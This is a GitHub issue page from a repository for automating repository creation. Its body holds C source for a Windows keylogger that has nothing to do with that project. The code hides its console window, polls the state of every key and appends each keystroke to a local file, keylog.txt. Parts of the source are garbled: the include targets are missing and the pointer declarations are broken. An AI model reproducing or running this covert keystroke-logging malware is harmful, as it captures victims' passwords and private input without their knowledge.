freeall / create-repository

Automatically creates and sets up a new github repository
MIT License
85 stars 192 forks source link

Task one #436

Open Tharun204 opened 1 month ago

Tharun204 commented 1 month ago

include

include

include

// Function to hide the console window void HideConsole() { HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); }

// Function to log key presses void LogKey(int key, const char filename) { FILE logfile; logfile = fopen(filename, "a+"); // Open file in append mode if (logfile == NULL) { return; // Return if file could not be opened }

// Check for special keys and log them accordingly
if (key == VK_BACK)
    fprintf(logfile, "%s", "[BACKSPACE]");
else if (key == VK_RETURN)
    fprintf(logfile, "%s", "[ENTER]");
else if (key == VK_SPACE)
    fprintf(logfile, "%s", "[SPACE]");
else if (key == VK_TAB)
    fprintf(logfile, "%s", "[TAB]");
else if (key == VK_SHIFT)
    fprintf(logfile, "%s", "[SHIFT]");
else if (key == VK_CONTROL)
    fprintf(logfile, "%s", "[CTRL]");
else if (key == VK_ESCAPE)
    fprintf(logfile, "%s", "[ESC]");
else if (key == VK_DELETE)
    fprintf(logfile, "%s", "[DEL]");
else if (key >= 0 && key <= 255)
    fprintf(logfile, "%c", key); // Log regular characters

fclose(logfile); // Close the file after logging

}

// Main function int main() { const char *filename = "keylog.txt"; // File where keystrokes will be logged HideConsole(); // Hide the console window

while (1) {
    // Iterate through all keys and check if they are pressed
    for (int key = 8; key <= 255; key++) {
        if (GetAsyncKeyState(key) == -32767) { // Check if key is pressed
            LogKey(key, filename); // Log the key to the file
        }
    }
}
return 0;

}